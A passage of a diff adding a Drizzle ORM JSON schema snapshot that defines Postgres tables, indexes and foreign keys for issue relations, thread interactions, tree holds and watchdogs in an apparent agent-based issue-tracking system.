+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_record_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is not null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_reference_mentions_company_source_mention_null_record_uq": {
+          "name": "issue_reference_mentions_company_source_mention_null_record_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "target_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "source_kind",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_reference_mentions\".\"source_record_id\" is null",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_reference_mentions_company_id_companies_id_fk": {
+          "name": "issue_reference_mentions_company_id_companies_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_source_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_source_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "source_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_reference_mentions_target_issue_id_issues_id_fk": {
+          "name": "issue_reference_mentions_target_issue_id_issues_id_fk",
+          "tableFrom": "issue_reference_mentions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "target_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_relations": {
+      "name": "issue_relations",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "related_issue_id": {
+          "name": "related_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "type": {
+          "name": "type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_relations_company_issue_idx": {
+          "name": "issue_relations_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_related_issue_idx": {
+          "name": "issue_relations_company_related_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_type_idx": {
+          "name": "issue_relations_company_type_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_relations_company_edge_uq": {
+          "name": "issue_relations_company_edge_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "related_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "type",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_relations_company_id_companies_id_fk": {
+          "name": "issue_relations_company_id_companies_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_relations_issue_id_issues_id_fk": {
+          "name": "issue_relations_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_related_issue_id_issues_id_fk": {
+          "name": "issue_relations_related_issue_id_issues_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "related_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_relations_created_by_agent_id_agents_id_fk": {
+          "name": "issue_relations_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_relations",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_thread_interactions": {
+      "name": "issue_thread_interactions",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "kind": {
+          "name": "kind",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'pending'"
+        },
+        "continuation_policy": {
+          "name": "continuation_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'wake_assignee'"
+        },
+        "requested_resolver_policy": {
+          "name": "requested_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "effective_resolver_policy": {
+          "name": "effective_resolver_policy",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'anyone'"
+        },
+        "resolver_policy_provenance": {
+          "name": "resolver_policy_provenance",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'inherited'"
+        },
+        "effective_resolver_policy_source": {
+          "name": "effective_resolver_policy_source",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'requested'"
+        },
+        "idempotency_key": {
+          "name": "idempotency_key",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_comment_id": {
+          "name": "source_comment_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "source_run_id": {
+          "name": "source_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "title": {
+          "name": "title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "summary": {
+          "name": "summary",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "addressee_agent_id": {
+          "name": "addressee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_agent_id": {
+          "name": "resolved_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_run_id": {
+          "name": "resolved_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_by_user_id": {
+          "name": "resolved_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "payload": {
+          "name": "payload",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "result": {
+          "name": "result",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "resolved_at": {
+          "name": "resolved_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_thread_interactions_issue_idx": {
+          "name": "issue_thread_interactions_issue_idx",
+          "columns": [
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_created_at_idx": {
+          "name": "issue_thread_interactions_company_issue_created_at_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "created_at",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_status_idx": {
+          "name": "issue_thread_interactions_company_issue_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_company_issue_idempotency_uq": {
+          "name": "issue_thread_interactions_company_issue_idempotency_uq",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "idempotency_key",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "where": "\"issue_thread_interactions\".\"idempotency_key\" IS NOT NULL",
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_source_comment_idx": {
+          "name": "issue_thread_interactions_source_comment_idx",
+          "columns": [
+            {
+              "expression": "source_comment_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_thread_interactions_addressee_agent_idx": {
+          "name": "issue_thread_interactions_addressee_agent_idx",
+          "columns": [
+            {
+              "expression": "addressee_agent_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_thread_interactions_company_id_companies_id_fk": {
+          "name": "issue_thread_interactions_company_id_companies_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_issue_id_issues_id_fk": {
+          "name": "issue_thread_interactions_issue_id_issues_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_comment_id_issue_comments_id_fk": {
+          "name": "issue_thread_interactions_source_comment_id_issue_comments_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "issue_comments",
+          "columnsFrom": [
+            "source_comment_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_source_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "source_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_created_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_addressee_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_addressee_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "addressee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_agent_id_agents_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "resolved_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_thread_interactions_resolved_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_thread_interactions",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "resolved_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_hold_members": {
+      "name": "issue_tree_hold_members",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "hold_id": {
+          "name": "hold_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "parent_issue_id": {
+          "name": "parent_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "depth": {
+          "name": "depth",
+          "type": "integer",
+          "primaryKey": false,
+          "notNull": true,
+          "default": 0
+        },
+        "issue_identifier": {
+          "name": "issue_identifier",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "issue_title": {
+          "name": "issue_title",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_status": {
+          "name": "issue_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "assignee_agent_id": {
+          "name": "assignee_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "assignee_user_id": {
+          "name": "assignee_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_id": {
+          "name": "active_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "active_run_status": {
+          "name": "active_run_status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "skipped": {
+          "name": "skipped",
+          "type": "boolean",
+          "primaryKey": false,
+          "notNull": true,
+          "default": false
+        },
+        "skip_reason": {
+          "name": "skip_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_hold_members_hold_issue_uq": {
+          "name": "issue_tree_hold_members_hold_issue_uq",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": true,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_company_issue_idx": {
+          "name": "issue_tree_hold_members_company_issue_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_hold_members_hold_depth_idx": {
+          "name": "issue_tree_hold_members_hold_depth_idx",
+          "columns": [
+            {
+              "expression": "hold_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "depth",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_hold_members_company_id_companies_id_fk": {
+          "name": "issue_tree_hold_members_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk": {
+          "name": "issue_tree_hold_members_hold_id_issue_tree_holds_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issue_tree_holds",
+          "columnsFrom": [
+            "hold_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_parent_issue_id_issues_id_fk": {
+          "name": "issue_tree_hold_members_parent_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "parent_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_assignee_agent_id_agents_id_fk": {
+          "name": "issue_tree_hold_members_assignee_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "assignee_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_hold_members_active_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_hold_members",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "active_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_tree_holds": {
+      "name": "issue_tree_holds",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "root_issue_id": {
+          "name": "root_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "mode": {
+          "name": "mode",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "reason": {
+          "name": "reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_policy": {
+          "name": "release_policy",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_actor_type": {
+          "name": "created_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'system'"
+        },
+        "created_by_agent_id": {
+          "name": "created_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_user_id": {
+          "name": "created_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_by_run_id": {
+          "name": "created_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_at": {
+          "name": "released_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_actor_type": {
+          "name": "released_by_actor_type",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_agent_id": {
+          "name": "released_by_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_user_id": {
+          "name": "released_by_user_id",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "released_by_run_id": {
+          "name": "released_by_run_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_reason": {
+          "name": "release_reason",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "release_metadata": {
+          "name": "release_metadata",
+          "type": "jsonb",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "created_at": {
+          "name": "created_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        },
+        "updated_at": {
+          "name": "updated_at",
+          "type": "timestamp with time zone",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "now()"
+        }
+      },
+      "indexes": {
+        "issue_tree_holds_company_root_status_idx": {
+          "name": "issue_tree_holds_company_root_status_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "root_issue_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        },
+        "issue_tree_holds_company_status_mode_idx": {
+          "name": "issue_tree_holds_company_status_mode_idx",
+          "columns": [
+            {
+              "expression": "company_id",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "status",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            },
+            {
+              "expression": "mode",
+              "isExpression": false,
+              "asc": true,
+              "nulls": "last"
+            }
+          ],
+          "isUnique": false,
+          "concurrently": false,
+          "method": "btree",
+          "with": {}
+        }
+      },
+      "foreignKeys": {
+        "issue_tree_holds_company_id_companies_id_fk": {
+          "name": "issue_tree_holds_company_id_companies_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "companies",
+          "columnsFrom": [
+            "company_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "no action",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_root_issue_id_issues_id_fk": {
+          "name": "issue_tree_holds_root_issue_id_issues_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "issues",
+          "columnsFrom": [
+            "root_issue_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "cascade",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_created_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "created_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_created_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "created_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_agent_id_agents_id_fk": {
+          "name": "issue_tree_holds_released_by_agent_id_agents_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "agents",
+          "columnsFrom": [
+            "released_by_agent_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        },
+        "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk": {
+          "name": "issue_tree_holds_released_by_run_id_heartbeat_runs_id_fk",
+          "tableFrom": "issue_tree_holds",
+          "tableTo": "heartbeat_runs",
+          "columnsFrom": [
+            "released_by_run_id"
+          ],
+          "columnsTo": [
+            "id"
+          ],
+          "onDelete": "set null",
+          "onUpdate": "no action"
+        }
+      },
+      "compositePrimaryKeys": {},
+      "uniqueConstraints": {},
+      "policies": {},
+      "checkConstraints": {},
+      "isRLSEnabled": false
+    },
+    "public.issue_watchdogs": {
+      "name": "issue_watchdogs",
+      "schema": "",
+      "columns": {
+        "id": {
+          "name": "id",
+          "type": "uuid",
+          "primaryKey": true,
+          "notNull": true,
+          "default": "gen_random_uuid()"
+        },
+        "company_id": {
+          "name": "company_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "issue_id": {
+          "name": "issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "watchdog_agent_id": {
+          "name": "watchdog_agent_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": true
+        },
+        "instructions": {
+          "name": "instructions",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "status": {
+          "name": "status",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": true,
+          "default": "'active'"
+        },
+        "watchdog_issue_id": {
+          "name": "watchdog_issue_id",
+          "type": "uuid",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_observed_fingerprint": {
+          "name": "last_observed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
+          "notNull": false
+        },
+        "last_reviewed_fingerprint": {
+          "name": "last_reviewed_fingerprint",
+          "type": "text",
+          "primaryKey": false,
